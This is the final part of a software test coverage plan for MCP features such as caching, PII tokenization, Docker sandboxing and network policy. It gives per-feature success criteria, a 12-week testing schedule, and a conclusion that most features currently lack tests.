  • ✅ 80% API call reduction verified
  • ✅ 5x speedup verified
  • ✅ Error isolation: 100%

CO-1 Caching:

  • ✅ 60-80% hit rate achieved
  • ✅ 60% cost reduction verified
  • ✅ Cache invalidation accuracy: 100%

CO-2 PII:

  • ✅ 0 PII leaks detected
  • ✅ 100% PII tokenization coverage
  • ✅ GDPR/CCPA compliance verified

SP-1 Docker:

  • ✅ 0 OOM crashes on host
  • ✅ 100% resource limit enforcement
  • ✅ 100% process isolation verified

SP-2 Embeddings:

  • ✅ 10x speedup on cache hit
  • ✅ 80-90% hit rate achieved
  • ✅ TTL expiration accuracy: 100%

SP-3 Network:

  • ✅ 100% unauthorized request blocking
  • ✅ 100% network audit trail coverage
  • ✅ 0 network policy violations

10. Next Steps

10.1 Immediate Actions (Week 1)

  1. Setup Test Infrastructure

    • Create test directory structure (26 new files)
    • Setup Docker-in-Docker for CI/CD
    • Configure test coverage thresholds
  2. Phase 1 Test Development (QW-1)

    • Write DataFiltering.test.ts (Day 1-2)
    • Write integration tests (Day 3-4)
    • Write benchmarks (Day 5)
  3. Phase 1 Test Development (QW-2)

    • Write BatchOperationManager.test.ts (Day 1-2)
    • Write integration tests (Day 3-4)
    • Write benchmarks (Day 5)

10.2 Mid-Term Actions (Week 2-6)

  1. Phase 2 Test Development

    • CO-1 tests (Week 3-4)
    • CO-2 tests (Week 5-6)
  2. Integration Testing

    • Cross-feature integration tests
    • End-to-end workflow tests

10.3 Long-Term Actions (Week 7-12)

  1. Phase 3 Test Development

    • SP-1 tests (Week 7-9)
    • SP-2 tests (Week 10-11)
    • SP-3 tests (Week 12)
  2. Test Maintenance

    • Refactor test utilities
    • Optimize test execution time
    • Document test patterns

11. Conclusion

This comprehensive test coverage analysis reveals significant gaps in MCP feature testing:

  • 6 out of 7 features have 0% test coverage
  • 26 new test files required
  • 116+ test scenarios needed
  • 12-week parallel testing effort

Critical Path:

  1. Weeks 1-2: QW-1 + QW-2 tests (highest ROI)
  2. Weeks 3-6: CO-1 + CO-2 tests (cost optimization)
  3. Weeks 7-12: SP-1 + SP-2 + SP-3 tests (security/performance)

Key Success Factors:

  • TDD approach (write tests first)
  • Parallel test execution in CI/CD
  • Synthetic test data (no real PII)
  • Docker-in-Docker for sandbox tests
  • Performance baselines before implementation

Expected Outcomes:

  • 90%+ test coverage for new features
  • 0 PII leaks in production
  • 0 OOM crashes from sandboxed agents
  • $90,520/year cost savings validated by tests

Document Owner: AQE Fleet v1.7.0 Last Updated: 2025-11-16 Next Review: After Phase 1 implementation (Week 2)